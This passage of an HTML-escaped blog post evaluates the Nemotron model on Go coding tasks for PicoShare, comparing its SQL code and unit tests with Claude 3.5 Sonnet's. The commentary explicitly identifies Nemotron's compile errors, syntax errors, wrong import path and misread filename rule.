&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> downloads, &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="commentary">Commentary&lt;/h3>
&lt;p>So, Nemotron is off to a poor start. This code does not compile, as the &lt;code>sql&lt;/code> APIs don&amp;rsquo;t accept &lt;code>sql.NamedArg&lt;/code> as parameters:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>store/sqlite/downloads.go:28:3: cannot use params (variable of type []sql.NamedArg) as []any value in argument to d.ctx.Exec
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>store/sqlite/downloads.go:51:3: cannot use params (variable of type []sql.NamedArg) as []any value in argument to d.ctx.Query
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But even if they did, it&amp;rsquo;s not as readable as what Claude 3.5 Sonnet produces for the same prompt. Instead of declaring an unnecessary array, it just creates the &lt;code>sql.Named&lt;/code> arguments inline, which is much easier to understand:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Excerpt of output from claude-3-5-sonnet-20241022&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> _, err := d.ctx.&lt;span style="color:#447fcf">Exec&lt;/span>(&lt;span style="color:#ed9d13">`
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> INSERT INTO
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> downloads
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> (
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> entry_id,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> download_timestamp,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> client_ip,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> user_agent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> )
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> VALUES(@entryID, @timestamp, @clientIP, @userAgent)`&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;entryID&amp;#34;&lt;/span>, id.&lt;span style="color:#447fcf">String&lt;/span>()),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;timestamp&amp;#34;&lt;/span>, &lt;span style="color:#447fcf">formatTime&lt;/span>(r.Time)),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;clientIP&amp;#34;&lt;/span>, r.ClientIP),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql.&lt;span style="color:#447fcf">Named&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;userAgent&amp;#34;&lt;/span>, r.UserAgent),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// ...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Still, Nemotron understood what I wanted and sort of had the right idea about how to implement it.&lt;/p>
&lt;h2 id="test-2-create-unit-tests-for-a-go-function">Test 2: Create unit tests for a Go function&lt;/h2>
&lt;p>For the second test, I asked Nemotron to write unit tests for a function in PicoShare:&lt;/p>
&lt;h3 id="prompt-1">Prompt&lt;/h3>
&lt;blockquote>
&lt;p>Create unit tests for this code:&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">package&lt;/span> parse
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;errors&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;strings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;github.com/mtlynch/picoshare/v2/picoshare&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// MaxFilenameBytes is the maximum number of bytes allowed for uploaded files&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// There&amp;#39;s no technical reason on PicoShare&amp;#39;s side for this limitation, but it&amp;#39;s&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// useful to have some upper bound to limit malicious inputs, and 255 is a&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// common filename limit (in single-byte characters) across most filesystems.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> MaxFilenameBytes = &lt;span style="color:#3677a9">255&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> ErrFilenameEmpty = errors.&lt;span style="color:#447fcf">New&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;filename must be non-empty&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> ErrFilenameTooLong = errors.&lt;span style="color:#447fcf">New&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;filename too long&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> ErrFilenameHasDotPrefix = errors.&lt;span style="color:#447fcf">New&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;filename cannot begin with dots&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> ErrFilenameIllegalCharacters = errors.&lt;span style="color:#447fcf">New&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;illegal characters in filename&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">Filename&lt;/span>(s &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>) (picoshare.Filename, &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> s == &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>), ErrFilenameEmpty
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> &lt;span style="color:#24909d">len&lt;/span>(s) &amp;gt; MaxFilenameBytes {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>), ErrFilenameTooLong
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> s == &lt;span style="color:#ed9d13">&amp;#34;.&amp;#34;&lt;/span> || strings.&lt;span style="color:#447fcf">HasPrefix&lt;/span>(s, &lt;span style="color:#ed9d13">&amp;#34;..&amp;#34;&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>), ErrFilenameHasDotPrefix
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> strings.&lt;span style="color:#447fcf">ContainsAny&lt;/span>(s, &lt;span style="color:#ed9d13">&amp;#34;\\/\a\b\t\n\v\f\r\n&amp;#34;&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>), ErrFilenameIllegalCharacters
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(s), &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Match the style conventions of this file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">package&lt;/span> parse_test
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;strings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;testing&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;github.com/mtlynch/picoshare/v2/handlers/parse&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;github.com/mtlynch/picoshare/v2/picoshare&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">TestGuestLinkLabel&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> _, tt := &lt;span style="color:#6ab825;font-weight:bold">range&lt;/span> []&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output picoshare.GuestLinkLabel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;accept valid label&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;For my good pals&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">GuestLinkLabel&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;For my good pals&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;allow empty label&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">GuestLinkLabel&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;reject labels that are too long&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: strings.&lt;span style="color:#447fcf">Repeat&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;A&amp;#34;&lt;/span>, parse.MaxGuestLinkLabelLength+&lt;span style="color:#3677a9">1&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">GuestLinkLabel&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: parse.ErrGuestLinkLabelTooLong,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Run&lt;/span>(fmt.&lt;span style="color:#447fcf">Sprintf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;%s [%s]&amp;#34;&lt;/span>, tt.description, tt.input), &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> label, err := parse.&lt;span style="color:#447fcf">GuestLinkLabel&lt;/span>(tt.input)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := err, tt.err; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;err=%v, want=%v&amp;#34;&lt;/span>, err, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := label, tt.output; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;label=%v, want=%v&amp;#34;&lt;/span>, label, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="output-1">Output&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">package&lt;/span> parse_test
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;strings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;testing&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;github.com/mtlynch/picoshare/v2/picoshare&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;github.com/mtlynch/picoshare/v2/parse&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">TestFilename&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> _, tt := &lt;span style="color:#6ab825;font-weight:bold">range&lt;/span> []&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output picoshare.Filename
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;accept valid filename&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;example.txt&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;example.txt&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (description: &lt;span style="color:#ed9d13">&amp;#34;reject empty filename&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: parse.ErrFilenameEmpty,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;reject filename too long&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: strings.&lt;span style="color:#447fcf">Repeat&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;A&amp;#34;&lt;/span>, parse.MaxFilenameBytes+&lt;span style="color:#3677a9">1&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: parse.ErrFilenameTooLong,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;reject filename with dot prefix (single dot)&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;.hidden&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: parse.ErrFilenameHasDotPrefix,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;reject filename with dot prefix (double dots)&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;..parentdir&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: parse.ErrFilenameHasDotPrefix,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (description: &lt;span style="color:#ed9d13">&amp;#34;reject filename with illegal characters (slash)&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;example/file.txt&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: parse.ErrFilenameIllegalCharacters,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: &lt;span style="color:#ed9d13">&amp;#34;reject filename with illegal characters (backspace)&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input: &lt;span style="color:#ed9d13">&amp;#34;example\x08.txt&amp;#34;&lt;/span>, &lt;span style="color:#999;font-style:italic">// \x08 represents a backspace character&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output: picoshare.&lt;span style="color:#447fcf">Filename&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err: parse.ErrFilenameIllegalCharacters,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Run&lt;/span>(fmt.&lt;span style="color:#447fcf">Sprintf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;%s [%s]&amp;#34;&lt;/span>, tt.description, tt.input), &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> filename, err := parse.&lt;span style="color:#447fcf">Filename&lt;/span>(tt.input)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := err, tt.err; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;err=%v, want=%v&amp;#34;&lt;/span>, err, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> got, want := filename, tt.output; got != want {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> t.&lt;span style="color:#447fcf">Errorf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;filename=%v, want=%v&amp;#34;&lt;/span>, filename, want)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="commentary-1">Commentary&lt;/h3>
&lt;p>Nemotron did okay here, but it made some obvious mistakes:&lt;/p>
&lt;ul>
&lt;li>Nemotron created the wrong path to import the &lt;code>parse&lt;/code> package.
&lt;ul>
&lt;li>It should have figured out from the example tests that the path to the &lt;code>parse&lt;/code> package is &lt;code>.../handlers/parse&lt;/code> rather than &lt;code>.../parse&lt;/code>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nemotron introduced loud syntax errors by sometimes bizarrely emitting a &lt;code>(&lt;/code> instead of a tab character before the &lt;code>description&lt;/code> field.&lt;/li>
&lt;li>Nemotron misunderstood the rules around filenames with a leading dot.
&lt;ul>
&lt;li>It created a test saying that leading dots in a filename like &lt;code>.hidden&lt;/code> should be rejected, but the implementation actually says that a single leading dot is okay.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>It otherwise created valid tests that have decent coverage of the behavior. I compared it with &lt;code>claude-3-5-sonnet-20241022&lt;/code>, and Claude created similar tests but without Nemotron&amp;rsquo;s errors.&lt;/p>
&lt;h2 id="final-thoughts">Final thoughts&lt;/h2>
